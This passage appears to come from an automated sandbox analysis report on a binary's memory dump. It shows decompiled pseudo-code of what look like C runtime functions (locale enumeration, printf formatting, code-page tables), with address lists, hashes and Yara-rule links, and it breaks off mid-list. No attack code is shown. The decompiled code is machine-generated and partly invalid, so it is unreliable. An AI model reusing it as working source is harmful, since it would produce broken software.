Instruction ID: a1fb681534eb3b478d9cf8ec91fabd4f28bc620f6cf90aa41cc39ccf5a8168a6
Opcode Fuzzy Hash: df005e5cfcde2693f3022c91c7ebd3a334dbe173f2912ed396d69ace87f680f3
Instruction Fuzzy Hash: A0F0F932B501059BCB14DEB4DC449FB33ECDB45714F150179EA12DB240EB345D45AB50

Uniqueness

Uniqueness Score: -1.00%

Function 6E18C729, Relevance: 1.5, APIs: 1, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6E18C729(void* __ecx, void* __edx, signed char* _a4) {
				void* __ebx;
				intOrPtr _t11;
				signed int _t13;
				signed char* _t15;
				void* _t17;
				intOrPtr* _t20;
				intOrPtr _t25;
				void* _t26;
				void* _t27;

				_t27 = E6E17FA06(_t17, __ecx, __edx);
				_t25 = 2;
				_t20 =  *((intOrPtr*)(_t27 + 0x50));
				_t26 = _t20 + 2;
				do {
					_t11 =  *_t20;
					_t20 = _t20 + _t25;
				} while (_t11 != 0);
				_t13 = 0 | _t20 - _t26 >> 0x00000001 == 0x00000003;
				 *(_t27 + 0x60) = _t13;
				if(_t13 == 0) {
					_t25 = E6E18C78A( *((intOrPtr*)(_t27 + 0x50)));
				}
				 *((intOrPtr*)(_t27 + 0x5c)) = _t25;
				EnumSystemLocalesW(E6E18CA06, 1);
				_t15 = _a4;
				if(( *_t15 & 0x00000004) == 0) {
					 *_t15 = 0;
					return _t15;
				}
				return _t15;
			}

0x6e18c736
0x6e18c73c
0x6e18c73d
0x6e18c740
0x6e18c743
0x6e18c743
0x6e18c746
0x6e18c748
0x6e18c756
0x6e18c759
0x6e18c75e
0x6e18c769
0x6e18c769
0x6e18c772
0x6e18c775
0x6e18c77b
0x6e18c781
0x6e18c783
0x00000000
0x6e18c783
0x6e18c789

APIs

Part of subcall function 6E17FA06: GetLastError.KERNEL32(?,?,6E17A016,6E1B9300,0000000C,6E169063,6E1700BE,?,00000001), ref: 6E17FA0A
Part of subcall function 6E17FA06: _free.LIBCMT ref: 6E17FA3D
Part of subcall function 6E17FA06: SetLastError.KERNEL32(00000000,6E1B9300,0000000C,6E169063,6E1700BE,?,00000001,?,?,?,?,?,?,?,6E170044), ref: 6E17FA7E
Part of subcall function 6E17FA06: _abort.LIBCMT ref: 6E17FA84

EnumSystemLocalesW.KERNEL32(6E18CA06,00000001,?,?,6E18196E,?,6E18CDA7,6E18196E,?,?,?,?,?,6E18196E,?,?), ref: 6E18C775

Memory Dump Source

Source File: 00000002.00000002.444257121.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000002.00000002.444243721.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444517851.000000006E1BB000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444564742.000000006E1BD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444589305.000000006E252000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444601210.000000006E254000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast$EnumLocalesSystem_abort_free
String ID:
API String ID: 1084509184-0
Opcode ID: 479e9482c841fa6abd594756ebf733774418a53ffca61af5b06768f3ca15e451
Instruction ID: 1ae0f2bf25f201721e2a0e243d4867b3596a9ba8d86b5bacbfa171c49941cd32
Opcode Fuzzy Hash: 479e9482c841fa6abd594756ebf733774418a53ffca61af5b06768f3ca15e451
Instruction Fuzzy Hash: 24F046363003045FD7149FB98880A6B7BA9FF807ACB15852CFA858F640E771A881AE40

Uniqueness

Uniqueness Score: -1.00%

Function 6E1834FA, Relevance: 1.5, APIs: 1, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E6E1834FA(void* __ecx, void* __edx, void* __eflags) {
				int _t15;
				void* _t30;

				_t28 = __edx;
				E6E174A80(__edx, 0x6e1b9690, 0xc);
				 *(_t30 - 0x1c) =  *(_t30 - 0x1c) & 0x00000000;
				E6E17B46C( *((intOrPtr*)( *((intOrPtr*)(_t30 + 8)))));
				 *(_t30 - 4) =  *(_t30 - 4) & 0x00000000;
				 *0x6e253a50 = E6E17E76B( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t30 + 0xc)))))));
				_t15 = EnumSystemLocalesW(E6E1834B4, 1);
				_push(0x20);
				asm("ror eax, cl");
				 *0x6e253a50 = 0 ^  *0x6e1bb164;
				 *(_t30 - 0x1c) = _t15;
				 *(_t30 - 4) = 0xfffffffe;
				E6E183572();
				return E6E174AC6(_t28);
			}

0x6e1834fa
0x6e183501
0x6e183506
0x6e18350f
0x6e183515
0x6e183526
0x6e183532
0x6e183542
0x6e183549
0x6e183551
0x6e183556
0x6e183559
0x6e183560
0x6e18356c

APIs

Part of subcall function 6E17B46C: RtlEnterCriticalSection.NTDLL(-6E252E05,?,6E17DBFE,00000000,6E1B94C8,0000000C,6E17DBB9,6E1673C4,?,?,6E17FB88,6E1673C4,?,6E17FABB,00000001,00000364), ref: 6E17B47B

EnumSystemLocalesW.KERNEL32(6E1834B4,00000001,6E1B9690,0000000C), ref: 6E183532

Memory Dump Source

Source File: 00000002.00000002.444257121.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000002.00000002.444243721.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444517851.000000006E1BB000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444564742.000000006E1BD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444589305.000000006E252000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444601210.000000006E254000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 8e7b61c684d746449bafb8c77d9517c0e14cc5451152ac4023be160c055ee748
Instruction ID: 658ca70a9cae225d900bd630ad64d17c8f39e3a97b934a78c4a87c059c7bbdf7
Opcode Fuzzy Hash: 8e7b61c684d746449bafb8c77d9517c0e14cc5451152ac4023be160c055ee748
Instruction Fuzzy Hash: 06F04932A10600EFDF24DFA8C948B9E37E5BB06B24F00851AF412DB2A4CB348981EF44

Uniqueness

Uniqueness Score: -1.00%

Function 6E18C643, Relevance: 1.5, APIs: 1, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6E18C643(void* __ecx, void* __edx, signed char* _a4) {
				intOrPtr _t9;
				signed char* _t13;
				void* _t14;
				intOrPtr* _t16;
				void* _t20;
				void* _t22;

				_t20 = E6E17FA06(_t14, __ecx, __edx);
				_t16 =  *((intOrPtr*)(_t20 + 0x54));
				_t22 = _t16 + 2;
				do {
					_t9 =  *_t16;
					_t16 = _t16 + 2;
				} while (_t9 != 0);
				 *(_t20 + 0x64) = 0 | _t16 - _t22 >> 0x00000001 == 0x00000003;
				EnumSystemLocalesW(E6E18C59A, 1);
				_t13 = _a4;
				if(( *_t13 & 0x00000004) == 0) {
					 *_t13 = 0;
					return _t13;
				}
				return _t13;
			}

0x6e18c64f
0x6e18c653
0x6e18c656
0x6e18c659
0x6e18c659
0x6e18c65c
0x6e18c65f
0x6e18c677
0x6e18c67a
0x6e18c680
0x6e18c686
0x6e18c688
0x00000000
0x6e18c688
0x6e18c68d

APIs

Part of subcall function 6E17FA06: GetLastError.KERNEL32(?,?,6E17A016,6E1B9300,0000000C,6E169063,6E1700BE,?,00000001), ref: 6E17FA0A
Part of subcall function 6E17FA06: _free.LIBCMT ref: 6E17FA3D
Part of subcall function 6E17FA06: SetLastError.KERNEL32(00000000,6E1B9300,0000000C,6E169063,6E1700BE,?,00000001,?,?,?,?,?,?,?,6E170044), ref: 6E17FA7E
Part of subcall function 6E17FA06: _abort.LIBCMT ref: 6E17FA84

EnumSystemLocalesW.KERNEL32(6E18C59A,00000001,?,?,?,6E18CE05,6E18196E,?,?,?,?,?,6E18196E,?,?,?), ref: 6E18C67A

Memory Dump Source

Source File: 00000002.00000002.444257121.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000002.00000002.444243721.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444517851.000000006E1BB000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444564742.000000006E1BD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444589305.000000006E252000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444601210.000000006E254000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast$EnumLocalesSystem_abort_free
String ID:
API String ID: 1084509184-0
Opcode ID: a588a282f57e4ae75266ff5d318d1d442a80017bd41901ce22e99a9699d45a9d
Instruction ID: 2297dac920447f29b533b20c1fdf6e5122726cf0052acfbb2e742d1efaef144b
Opcode Fuzzy Hash: a588a282f57e4ae75266ff5d318d1d442a80017bd41901ce22e99a9699d45a9d
Instruction Fuzzy Hash: E0F0EC3530020557CB049F75D8546577F54EFC5754B278069EE158F341D63198C3DB90

Uniqueness

Uniqueness Score: -1.00%

Function 6E1796BD, Relevance: 1.5, Strings: 1, Instructions: 214
COMMONCrypto

Download Yara Rule

C-Code - Quality: 88%

			E6E1796BD(void* __ecx) {
				char _v6;
				char _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				char _t49;
				signed int _t50;
				void* _t51;
				signed char _t54;
				signed char _t56;
				signed int _t57;
				signed int _t58;
				signed char _t67;
				signed char _t69;
				signed char _t71;
				signed char _t80;
				signed char _t82;
				signed int _t84;
				signed int _t86;
				signed int _t87;
				signed char _t92;
				void* _t95;
				intOrPtr _t100;
				unsigned int _t102;
				signed char _t104;
				void* _t112;
				unsigned int _t113;
				void* _t114;
				signed int _t115;
				signed int* _t116;
				void* _t119;
				void* _t121;
				void* _t122;
				void* _t124;
				void* _t125;

				_push(__ecx);
				_t119 = __ecx;
				_t92 = 1;
				_t49 =  *((char*)(__ecx + 0x31));
				_t124 = _t49 - 0x64;
				if(_t124 > 0) {
					__eflags = _t49 - 0x70;
					if(__eflags > 0) {
						_t50 = _t49 - 0x73;
						__eflags = _t50;
						if(_t50 == 0) {
							L9:
							_t51 = E6E179DB5(_t119);
							L10:
							if(_t51 != 0) {
								__eflags =  *((char*)(_t119 + 0x30));
								if( *((char*)(_t119 + 0x30)) == 0) {
									_t113 =  *(_t119 + 0x20);
									_push(_t114);
									_v8 = 0;
									_t115 = 0;
									_v6 = 0;
									_t54 = _t113 >> 4;
									__eflags = _t92 & _t54;
									if((_t92 & _t54) == 0) {
										L46:
										_t100 =  *((intOrPtr*)(_t119 + 0x31));
										__eflags = _t100 - 0x78;
										if(_t100 == 0x78) {
											L48:
											_t56 = _t113 >> 5;
											__eflags = _t92 & _t56;
											if((_t92 & _t56) != 0) {
												L50:
												__eflags = _t100 - 0x61;
												if(_t100 == 0x61) {
													L53:
													_t57 = 1;
													L54:
													__eflags = _t92;
													if(_t92 != 0) {
														L56:
														 *((char*)(_t121 + _t115 - 4)) = 0x30;
														__eflags = _t100 - 0x58;
														if(_t100 == 0x58) {
															L59:
															_t58 = 1;
															L60:
															__eflags = _t58;
															 *((char*)(_t121 + _t115 - 3)) = ((_t58 & 0xffffff00 | _t58 == 0x00000000) - 0x00000001 & 0x000000e0) + 0x78;
															_t115 = _t115 + 2;
															__eflags = _t115;
															L61:
															_t95 =  *((intOrPtr*)(_t119 + 0x24)) -  *((intOrPtr*)(_t119 + 0x38)) - _t115;
															__eflags = _t113 & 0x0000000c;
															if((_t113 & 0x0000000c) == 0) {
																E6E179034(_t119 + 0x448, 0x20, _t95, _t119 + 0x18);
																_t122 = _t122 + 0x10;
															}
															E6E179F4E(_t119 + 0x448,  &_v8, _t115, _t119 + 0x18,  *((intOrPtr*)(_t119 + 0xc)));
															_t102 =  *(_t119 + 0x20);
															_t116 = _t119 + 0x18;
															_t67 = _t102 >> 3;
															__eflags = _t67 & 0x00000001;
															if((_t67 & 0x00000001) != 0) {
																_t104 = _t102 >> 2;
																__eflags = _t104 & 0x00000001;
																if((_t104 & 0x00000001) == 0) {
																	E6E179034(_t119 + 0x448, 0x30, _t95, _t116);
																	_t122 = _t122 + 0x10;
																}
															}
															E6E179EA7(_t95, _t119, _t116, _t119, 0);
															__eflags =  *_t116;
															if( *_t116 >= 0) {
																_t71 =  *(_t119 + 0x20) >> 2;
																__eflags = _t71 & 0x00000001;
																if((_t71 & 0x00000001) != 0) {
																	E6E179034(_t119 + 0x448, 0x20, _t95, _t116);
																}
															}
															_t69 = 1;
															L70:
															return _t69;
														}
														__eflags = _t100 - 0x41;
														if(_t100 == 0x41) {
															goto L59;
														}
														_t58 = 0;
														goto L60;
													}
													__eflags = _t57;
													if(_t57 == 0) {
														goto L61;
													}
													goto L56;
												}
												__eflags = _t100 - 0x41;
												if(_t100 == 0x41) {
													goto L53;
												}
												_t57 = 0;
												goto L54;
											}
											L49:
											_t92 = 0;
											__eflags = 0;
											goto L50;
										}
										__eflags = _t100 - 0x58;
										if(_t100 != 0x58) {
											goto L49;
										}
										goto L48;
									}
									_t80 = _t113 >> 6;
									__eflags = _t92 & _t80;
									if((_t92 & _t80) == 0) {
										__eflags = _t92 & _t113;
										if((_t92 & _t113) == 0) {
											_t82 = _t113 >> 1;
											__eflags = _t92 & _t82;
											if((_t92 & _t82) == 0) {
												goto L46;
											}
											_v8 = 0x20;
											L45:
											_t115 = _t92;
											goto L46;
										}
										_v8 = 0x2b;
										goto L45;
									}
									_v8 = 0x2d;
									goto L45;
								}
								_t69 = _t92;
								goto L70;
							}
							L11:
							_t69 = 0;
							goto L70;
						}
						_t84 = _t50;
						__eflags = _t84;
						if(__eflags == 0) {
							L28:
							_push(0);
							_push(0xa);
							L29:
							_t51 = E6E179BC0(_t119, _t114, __eflags);
							goto L10;
						}
						__eflags = _t84 - 3;
						if(__eflags != 0) {
							goto L11;
						}
						_push(0);
						L13:
						_push(0x10);
						goto L29;
					}
					if(__eflags == 0) {
						_t51 = E6E179D9D(__ecx);
						goto L10;
					}
					__eflags = _t49 - 0x67;
					if(_t49 <= 0x67) {
						L30:
						_t51 = E6E1799D6(_t92, _t119, _t112);
						goto L10;
					}
					__eflags = _t49 - 0x69;
					if(_t49 == 0x69) {
						L27:
						_t2 = _t119 + 0x20;
						 *_t2 =  *(_t119 + 0x20) | 0x00000010;
						__eflags =  *_t2;
						goto L28;
					}
					__eflags = _t49 - 0x6e;
					if(_t49 == 0x6e) {
						_t51 = E6E179D0A(__ecx, _t112);
						goto L10;
					}
					__eflags = _t49 - 0x6f;
					if(_t49 != 0x6f) {
						goto L11;
					}
					_t51 = E6E179D7E(__ecx);
					goto L10;
				}
				if(_t124 == 0) {
					goto L27;
				}
				_t125 = _t49 - 0x58;
				if(_t125 > 0) {
					_t86 = _t49 - 0x5a;
					__eflags = _t86;
					if(_t86 == 0) {
						_t51 = E6E179973(__ecx);
						goto L10;
					}
					_t87 = _t86 - 7;
					__eflags = _t87;
					if(_t87 == 0) {
						goto L30;
					}
					__eflags = _t87;
					if(__eflags != 0) {
						goto L11;
					}
					L17:
					_t51 = E6E179B30(_t92, _t119, __eflags, 0);
					goto L10;
				}
				if(_t125 == 0) {
					_push(1);
					goto L13;
				}
				if(_t49 == 0x41) {
					goto L30;
				}
				if(_t49 == 0x43) {
					goto L17;
				}
				if(_t49 <= 0x44) {
					goto L11;
				}
				if(_t49 <= 0x47) {
					goto L30;
				}
				if(_t49 != 0x53) {
					goto L11;
				}
				goto L9;
			}

0x6e1796c2
0x6e1796c5
0x6e1796c9
0x6e1796cc
0x6e1796d0
0x6e1796d3
0x6e179741
0x6e179744
0x6e179793
0x6e179793
0x6e179796
0x6e179703
0x6e179705
0x6e17970a
0x6e17970c
0x6e1797b1
0x6e1797b5
0x6e1797be
0x6e1797c3
0x6e1797c4
0x6e1797c8
0x6e1797ca
0x6e1797cf
0x6e1797d2
0x6e1797d4
0x6e1797fd
0x6e1797fd
0x6e179800
0x6e179803
0x6e17980a
0x6e17980c
0x6e17980f
0x6e179811
0x6e179815
0x6e179815
0x6e179818
0x6e179823
0x6e179823
0x6e179825
0x6e179825
0x6e179827
0x6e17982d
0x6e17982d
0x6e179832
0x6e179835
0x6e179840
0x6e179840
0x6e179842
0x6e179842
0x6e17984d
0x6e179851
0x6e179851
0x6e179854
0x6e17985a
0x6e17985c
0x6e17985f
0x6e17986f
0x6e179874
0x6e179874
0x6e179889
0x6e17988e
0x6e179891
0x6e179896
0x6e179899
0x6e17989b
0x6e17989d
0x6e1798a0
0x6e1798a3
0x6e1798b0
0x6e1798b5
0x6e1798b5
0x6e1798a3
0x6e1798bc
0x6e1798c1
0x6e1798c4
0x6e1798c9
0x6e1798cc
0x6e1798ce
0x6e1798db
0x6e1798e0
0x6e1798ce
0x6e1798e3
0x6e1798e6
0x6e1798eb
0x6e1798eb
0x6e179837
0x6e17983a
0x00000000
0x00000000
0x6e17983c
0x00000000
0x6e17983c
0x6e179829
0x6e17982b
0x00000000
0x00000000
0x00000000
0x6e17982b
0x6e17981a
0x6e17981d
0x00000000
0x00000000
0x6e17981f
0x00000000
0x6e17981f
0x6e179813
0x6e179813
0x6e179813
0x00000000
0x6e179813
0x6e179805
0x6e179808
0x00000000
0x00000000
0x00000000
0x6e179808
0x6e1797d8
0x6e1797db
0x6e1797dd
0x6e1797e5
0x6e1797e7
0x6e1797f1
0x6e1797f3
0x6e1797f5
0x00000000
0x00000000
0x6e1797f7
0x6e1797fb
0x6e1797fb
0x00000000
0x6e1797fb
0x6e1797e9
0x00000000
0x6e1797e9
0x6e1797df
0x00000000
0x6e1797df
0x6e1797b7
0x00000000
0x6e1797b7
0x6e179712
0x6e179712
0x00000000
0x6e179712
0x6e17979d
0x6e17979d
0x6e1797a0
0x6e179772
0x6e179772
0x6e179773
0x6e179775
0x6e179777
0x00000000
0x6e179777
0x6e1797a2
0x6e1797a5
0x00000000
0x00000000
0x6e1797ab
0x6e17971a
0x6e17971a
0x00000000
0x6e17971a
0x6e179746
0x6e179789
0x00000000
0x6e179789
0x6e179748
0x6e17974b
0x6e17977e
0x6e179780
0x00000000
0x6e179780
0x6e17974d
0x6e179750
0x6e17976e
0x6e17976e
0x6e17976e
0x6e17976e
0x00000000
0x6e17976e
0x6e179752
0x6e179755
0x6e179767
0x00000000
0x6e179767
0x6e179757
0x6e17975a
0x00000000
0x00000000
0x6e17975e
0x00000000
0x6e17975e
0x6e1796d5
0x00000000
0x00000000
0x6e1796db
0x6e1796de
0x6e17971e
0x6e17971e
0x6e179721
0x6e17973a
0x00000000
0x6e17973a
0x6e179723
0x6e179723
0x6e179726
0x00000000
0x00000000
0x6e179729
0x6e17972c
0x00000000
0x00000000
0x6e17972e
0x6e179731
0x00000000
0x6e179731
0x6e1796e0
0x6e179719
0x00000000
0x6e179719
0x6e1796e5
0x00000000
0x00000000
0x6e1796ee
0x00000000
0x00000000
0x6e1796f3
0x00000000
0x00000000
0x6e1796f8
0x00000000
0x00000000
0x6e179701
0x00000000
0x00000000
0x00000000

Strings

0, xrefs: 6E17982D

Memory Dump Source

Source File: 00000002.00000002.444257121.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000002.00000002.444243721.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444517851.000000006E1BB000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444564742.000000006E1BD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444589305.000000006E252000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444601210.000000006E254000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 449ce9ef20334d625e26d90c78c87a4c5f2a974813b8bd9257bc816e2bcf5013
Instruction ID: 0c6e2a60fcd96885c2d2754a86a024b1b383b4ad7efa8f34487b111ab1fd5960
Opcode Fuzzy Hash: 449ce9ef20334d625e26d90c78c87a4c5f2a974813b8bd9257bc816e2bcf5013
Instruction Fuzzy Hash: D451797064864A5BDFB48DE884707EF33AA9F23F04F230919C4528B291C225D9CEFB61

Uniqueness

Uniqueness Score: -1.00%

Function 6E186CF9, Relevance: .6, Instructions: 637COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.444257121.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000002.00000002.444243721.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444517851.000000006E1BB000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444564742.000000006E1BD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444589305.000000006E252000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444601210.000000006E254000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d501056c64d2189e4d1ababf18d70fcc26af9136d0875b50244e700698e1aaa
Instruction ID: 448f05bc02847d85733b4d56f595272cf31045743320f4aa00fd317977d5fbbc
Opcode Fuzzy Hash: 2d501056c64d2189e4d1ababf18d70fcc26af9136d0875b50244e700698e1aaa
Instruction Fuzzy Hash: 63322421E29F014DDB639534C972326A69CAFB73C4F21D727F829B5EA5EB28C4C36501

Uniqueness

Uniqueness Score: -1.00%

Function 6E17B767, Relevance: 22.8, APIs: 15, Instructions: 296
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E6E17B767(void* __ebx, void* __edx, void* __edi, void* __esi, intOrPtr* _a4) {
				signed int _v8;
				char _v21;
				intOrPtr _v22;
				struct _cpinfo _v28;
				void* _v32;
				void* _v36;
				void* _v40;
				intOrPtr* _v44;
				signed int _v48;
				void* _v52;
				signed int* _v56;
				intOrPtr _v60;
				intOrPtr* _v64;
				signed int* _v68;
				void* _v72;
				char _v76;
				signed int _t101;
				intOrPtr* _t106;
				signed int _t123;
				signed short _t126;
				void* _t130;
				void* _t134;
				void* _t137;
				void* _t138;
				intOrPtr _t139;
				void* _t141;
				signed int _t142;
				intOrPtr* _t143;
				signed char _t160;
				signed char _t165;
				signed int _t166;
				void* _t168;
				signed int _t170;
				intOrPtr _t172;
				void* _t179;
				signed int* _t180;
				signed int* _t181;
				signed int _t182;
				signed char* _t189;
				signed char* _t190;
				void* _t193;
				signed int _t195;
				intOrPtr _t198;
				short* _t210;
				intOrPtr* _t212;
				intOrPtr* _t216;
				signed int _t217;
				signed int _t218;
				void* _t219;
				void* _t220;

				_t101 =  *0x6e1bb164; // 0x55e3ddbb
				_v8 = _t101 ^ _t218;
				_t212 = _a4;
				_t170 = 0;
				_v64 = _t212;
				_v32 = 0;
				_t172 =  *((intOrPtr*)(_t212 + 0xa8));
				_v36 = 0;
				_v40 = 0;
				_v52 = 0;
				_v76 = _t212;
				_v72 = 0;
				if(_t172 == 0) {
					__eflags =  *(_t212 + 0x8c);
					if( *(_t212 + 0x8c) != 0) {
						asm("lock dec dword [eax]");
					}
					 *(_t212 + 0x8c) = _t170;
					__eflags = 0;
					 *(_t212 + 0x90) = _t170;
					 *_t212 = 0x6e1ae570;
					 *((intOrPtr*)(_t212 + 0x94)) = 0x6e1ae7f0;
					 *((intOrPtr*)(_t212 + 0x98)) = 0x6e1ae970;
					 *((intOrPtr*)(_t212 + 4)) = 1;
					L41:
					return E6E173D51(_v8 ^ _t218);
				}
				_t106 = _t212 + 8;
				_v44 = 0;
				if( *_t106 != 0) {
					L3:
					_v44 = E6E17FB55(_t172, 1, 4);
					E6E17FBB2(_t170);
					_v32 = E6E17FB55(_t172, 0x180, 2);
					E6E17FBB2(_t170);
					_v36 = E6E17FB55(_t172, 0x180, 1);
					E6E17FBB2(_t170);
					_v40 = E6E17FB55(_t172, 0x180, 1);
					E6E17FBB2(_t170);
					_t198 = E6E17FB55(_t172, 0x101, 1);
					_v52 = _t198;
					E6E17FBB2(_t170);
					_t220 = _t219 + 0x3c;
					if(_v44 == _t170 || _v32 == _t170 || _t198 == 0 || _v36 == _t170 || _v40 == _t170) {
						L36:
						E6E17FBB2(_v44);
						E6E17FBB2(_v32);
						E6E17FBB2(_v36);
						E6E17FBB2(_v40);
						_t170 = 1;
						__eflags = 1;
						goto L37;
					} else {
						_t123 = _t170;
						do {
							 *(_t123 + _t198) = _t123;
							_t123 = _t123 + 1;
						} while (_t123 < 0x100);
						if(GetCPInfo( *(_t212 + 8),  &_v28) == 0) {
							goto L36;
						}
						_t126 = _v28;
						_t236 = _t126 - 5;
						if(_t126 > 5) {
							goto L36;
						}
						_t28 = _t198 + 1; // 0x1
						_v48 = _t126 & 0x0000ffff;
						_t130 = E6E185FB6(_t198, _t212, _t236, _t170,  *((intOrPtr*)(_t212 + 0xa8)), 0x100, _t28, 0xff, _v36 + 0x81, 0xff,  *(_t212 + 8), _t170);
						_t220 = _t220 + 0x24;
						_t237 = _t130;
						if(_t130 == 0) {
							goto L36;
						}
						_t34 = _t198 + 1; // 0x1
						_t134 = E6E185FB6(_t198, _t212, _t237, _t170,  *((intOrPtr*)(_t212 + 0xa8)), 0x200, _t34, 0xff, _v40 + 0x81, 0xff,  *(_t212 + 8), _t170);
						_t220 = _t220 + 0x24;
						if(_t134 == 0) {
							goto L36;
						}
						if(_v48 <= 1 || _v22 == _t170) {
							L22:
							_v60 = _v32 + 0x100;
							_t137 = E6E185C7C(_t170, _t198, _t212, _t243, _t170, 1, _t198, 0x100, _v32 + 0x100,  *(_t212 + 8), _t170);
							_t220 = _t220 + 0x1c;
							if(_t137 == 0) {
								goto L36;
							}
							_t193 = _v32;
							_t138 = _t193 + 0xfe;
							 *_t138 = 0;
							_t179 = _v36;
							_v32 = _t138;
							_t139 = _v40;
							 *(_t179 + 0x7f) = _t170;
							_t180 = _t179 - 0xffffff80;
							 *(_t139 + 0x7f) = _t170;
							_v68 = _t180;
							 *_t180 = _t170;
							_t181 = _t139 + 0x80;
							_v56 = _t181;
							 *_t181 = _t170;
							if(_v48 <= 1 || _v22 == _t170) {
								L32:
								_t182 = 0x3f;
								memcpy(_t193, _t193 + 0x200, _t182 << 2);
								_push(0x1f);
								asm("movsw");
								_t141 = memcpy(_v36, _v36 + 0x100, 0 << 2);
								_push(0x1f);
								asm("movsw");
								asm("movsb");
								_t142 = memcpy(_t141, _t141 + 0x100, 0 << 2);
								asm("movsw");
								asm("movsb");
								_t216 = _v64;
								if( *((intOrPtr*)(_t216 + 0x8c)) != 0) {
									asm("lock xadd [ecx], eax");
									if((_t142 | 0xffffffff) == 0) {
										E6E17FBB2( *(_t216 + 0x90) - 0xfe);
										E6E17FBB2( *(_t216 + 0x94) - 0x80);
										E6E17FBB2( *(_t216 + 0x98) - 0x80);
										E6E17FBB2( *((intOrPtr*)(_t216 + 0x8c)));
									}
								}
								_t143 = _v44;
								 *_t143 = 1;
								 *((intOrPtr*)(_t216 + 0x8c)) = _t143;
								 *_t216 = _v60;
								 *(_t216 + 0x90) = _v32;
								 *(_t216 + 0x94) = _v68;
								 *(_t216 + 0x98) = _v56;
								 *(_t216 + 4) = _v48;
								L37:
								E6E17FBB2(_v52);
								goto L41;
							} else {
								_t189 =  &_v21;
								while(1) {
									_t160 =  *_t189;
									if(_t160 == 0) {
										break;
									}
									_t217 =  *(_t189 - 1) & 0x000000ff;
									if(_t217 > (_t160 & 0x000000ff)) {
										L30:
										_t189 =  &(_t189[2]);
										if( *(_t189 - 1) != _t170) {
											continue;
										}
										break;
									}
									_t210 = _t193 + 0x100 + _t217 * 2;
									do {
										_t217 = _t217 + 1;
										 *_t210 = 0x8000;
										_t210 = _t210 + 2;
									} while (_t217 <= ( *_t189 & 0x000000ff));
									goto L30;
								}
								goto L32;
							}
						} else {
							_t190 =  &_v21;
							while(1) {
								_t165 =  *_t190;
								if(_t165 == 0) {
									goto L22;
								}
								_t195 =  *(_t190 - 1) & 0x000000ff;
								_t166 = _t165 & 0x000000ff;
								while(_t195 <= _t166) {
									 *((char*)(_t195 + _t198)) = 0x20;
									_t195 = _t195 + 1;
									__eflags = _t195;
									_t166 =  *_t190 & 0x000000ff;
								}
								_t190 =  &(_t190[2]);
								_t243 =  *(_t190 - 1) - _t170;
								if( *(_t190 - 1) != _t170) {
									continue;
								}
								goto L22;
							}
							goto L22;
						}
					}
				}
				_push(_t106);
				_push(0x1004);
				_push(_t172);
				_push(0);
				_push( &_v76);
				_t168 = E6E185ACA(0, __edx, __edi, _t212);
				_t220 = _t219 + 0x14;
				if(_t168 != 0) {
					goto L36;
				}
				goto L3;
			}

0x6e17b76f
0x6e17b776
0x6e17b77b
0x6e17b77e
0x6e17b781
0x6e17b784
0x6e17b787
0x6e17b78d
0x6e17b790
0x6e17b793
0x6e17b796
0x6e17b799
0x6e17b79e
0x6e17babe
0x6e17bac0
0x6e17bac2
0x6e17bac2
0x6e17bac5
0x6e17bacb
0x6e17bacd
0x6e17bad3
0x6e17bad9
0x6e17bae3
0x6e17baed
0x6e17baf4
0x6e17bb04
0x6e17bb04
0x6e17b7a4
0x6e17b7a7
0x6e17b7ac
0x6e17b7ca
0x6e17b7d4
0x6e17b7d7
0x6e17b7ea
0x6e17b7ed
0x6e17b7fb
0x6e17b7fe
0x6e17b80c
0x6e17b80f
0x6e17b820
0x6e17b823
0x6e17b826
0x6e17b82b
0x6e17b831
0x6e17ba85
0x6e17ba88
0x6e17ba90
0x6e17ba98
0x6e17baa0
0x6e17baaa
0x6e17baaa
0x00000000
0x6e17b85a
0x6e17b85a
0x6e17b85c
0x6e17b85c
0x6e17b85f
